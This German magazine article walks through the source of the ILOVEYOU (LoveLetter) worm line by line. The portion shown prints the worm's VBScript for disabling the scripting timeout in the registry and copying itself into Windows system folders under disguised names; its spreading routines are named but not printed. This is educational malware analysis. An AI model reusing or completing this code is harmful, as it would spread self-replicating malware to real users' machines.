
Auseinandergenommen: LoveLetter Virus
Viren programmieren
Er geht auf der ganzen Welt um: Der 'I-LOVE-YOU' Virus legt Mailserver lahm und übt sich auch sonst in lauter unangenehmen Dingen. Wie aber funktionert das Ding? - Eine Frage die nicht nur für Programmierer interessant ist: Daher haben wir den Virus in seine Teile zerlegt - was er genau tut, steht Schritt für Schritt im Bericht. Von Thomas Wölfer.
(tw)
Inhalt dieses Beitrags:
1. LoveLetter Virus mit Quellcode
LoveLetter - so funktionert er
Im folgenden ist der Quellcode der
Virus abgebildet - keine Angst dabei: In
der abgebildeten Form ist das Ding völlig harmlos; wir zeigen einfach nur
Zeile für Zeile, was der Virus tut, und welche Befehlszeilen wofür
verantwortlich sind. Ausgeführt wird das ganze übrigens mit dem Windows
Scripting
Host -
Grundlagenbeitrag hier.
Und los gehts:
rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
Die ersten beiden Zeilen sind einfach nur Kommentare - passieren tut hier
gar nichts: Es handelt sich dabei einfach um irgendeinen Text den der Programmierer
eingefügt hat - dem ist keine Bedeutung beizumessen.
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Mit 'On Error Resume Next' wird zunächst eine Fehlerbehandlung eingeleitet: Tritt
während der Abarbeitung des Programmes ein Fehler auf, soll mit dem nächsten Schritt
weitergemacht werden. Danach werden ein paar Variable definiert - mit diesen Variable
wird später im Programm gearbeitet.
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Dann legt das Programm ein sogenanntes 'FileSystemObject' (fso) an - mit diesem
Objekt kann auf das
Dateisystem (d.h.: auf die Dateien auf der Festplatte)
zugegriffen werden. Genau das passiert dann auch in der nächsten Zeile: Das
Programm liest sich selbst in den Speicher (Mit OpenTextFile und dem anschliessenden
ReadAll()).
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
Hier geht das Programm dann tatsächlich los: Zunächst wird mit CreateObject() ein
'Shell' Objekt erzeugt - dieses Objekt ermöglicht den Zugriff auf verschiedene Funktione
von
Windows - zum Beispiel kann man damit die
Registry auslesen und in sie schreiben - was
dann später auch passiert.
Mit den 'Set' Befehlen erfragt das Programm dann die Verzeichnisse von Windows
(dirwin) und von Windows/System (dirsystem), um anschliessend eine Kopie von sich
Selbst unter dem Namen MSKernel32.vbs und Win32DLL.vbs bzw. LOVE-LETTER-FOR-YOU.TXT.vbs
anzulegen. Mit anderen Worten: Diese Dateien enthalten dann ebenfall einzig und
allein das Virus-Programm.
Nachdem sich der Virus auf diese Weise kopiert hat, legt er mit seiner
eigentlichen Arbeit los - und ruft die Funktionen regruns(), html(), spreadtoemail()
und listadriv() auf: Diese Funktionen sind weiter unten im Programm definiert - was
sie tun, ist ebenfalls weiter unten erklärt.